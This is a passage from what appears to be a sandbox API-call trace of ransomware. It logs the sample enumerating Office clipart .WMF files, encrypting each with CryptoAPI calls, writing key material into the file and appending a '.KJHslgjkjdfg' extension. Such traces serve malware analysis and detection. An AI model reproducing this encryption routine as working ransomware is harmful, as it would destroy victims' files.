[0154.945] GetProcessHeap () returned 0x2a0000 [0154.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.945] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.945] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.945] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.945] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.945] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.945] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.946] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.946] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.946] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.946] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f86, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f86, lpOverlapped=0x0) returned 1 [0154.947] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f90) returned 1 [0154.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.947] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f90, lpOverlapped=0x0) returned 1 [0154.947] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.947] SetEndOfFile (hFile=0x114) returned 1 [0154.950] GetProcessHeap () returned 0x2a0000 [0154.950] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.950] GetProcessHeap () returned 0x2a0000 [0154.950] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.kjhslgjkjdfg")) returned 1 [0154.951] CloseHandle (hObject=0x114) returned 1 [0154.951] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0154.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.952] GetProcessHeap () returned 0x2a0000 [0154.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.952] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.952] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.952] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.955] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.955] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.955] GetProcessHeap () returned 0x2a0000 [0154.955] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.955] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.955] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.955] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.955] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.956] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.956] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.956] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.956] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.956] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.956] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2458, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2458, lpOverlapped=0x0) returned 1 [0154.957] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2460, dwBufLen=0x2460 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2460) returned 1 [0154.957] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.957] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2460, lpOverlapped=0x0) returned 1 [0154.957] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.958] SetEndOfFile (hFile=0x114) returned 1 [0154.960] GetProcessHeap () returned 0x2a0000 [0154.960] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.960] GetProcessHeap () returned 0x2a0000 [0154.960] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.kjhslgjkjdfg")) returned 1 [0154.962] CloseHandle (hObject=0x114) returned 1 [0154.962] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0154.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.962] GetProcessHeap () returned 0x2a0000 [0154.962] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.962] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.962] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.963] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.965] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.965] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.965] GetProcessHeap () returned 0x2a0000 [0154.965] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.965] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.965] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.965] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.965] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.966] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.966] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.966] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.966] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.966] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.966] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xfb8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xfb8, lpOverlapped=0x0) returned 1 [0154.966] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfc0) returned 1 [0154.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.967] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xfc0, lpOverlapped=0x0) returned 1 [0154.967] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.967] SetEndOfFile (hFile=0x114) returned 1 [0154.969] GetProcessHeap () returned 0x2a0000 [0154.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.969] GetProcessHeap () returned 0x2a0000 [0154.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.kjhslgjkjdfg")) returned 1 [0154.971] CloseHandle (hObject=0x114) returned 1 [0154.971] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0154.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.971] GetProcessHeap () returned 0x2a0000 [0154.972] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.972] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.972] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.974] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.974] GetProcessHeap () returned 0x2a0000 [0154.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.974] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.974] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.974] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.974] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.975] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.975] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.975] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.975] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.975] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x386c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x386c, lpOverlapped=0x0) returned 1 [0154.976] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3870, dwBufLen=0x3870 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3870) returned 1 [0154.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.976] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3870, lpOverlapped=0x0) returned 1 [0154.977] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.977] SetEndOfFile (hFile=0x114) returned 1 [0154.986] GetProcessHeap () returned 0x2a0000 [0154.986] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.986] GetProcessHeap () returned 0x2a0000 [0154.986] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.kjhslgjkjdfg")) returned 1 [0154.988] CloseHandle (hObject=0x114) returned 1 [0154.988] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0154.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.988] GetProcessHeap () returned 0x2a0000 [0154.988] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.988] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.989] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.989] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.989] GetProcessHeap () returned 0x2a0000 [0154.989] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.989] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.989] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.989] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.991] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.991] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.991] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.992] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, 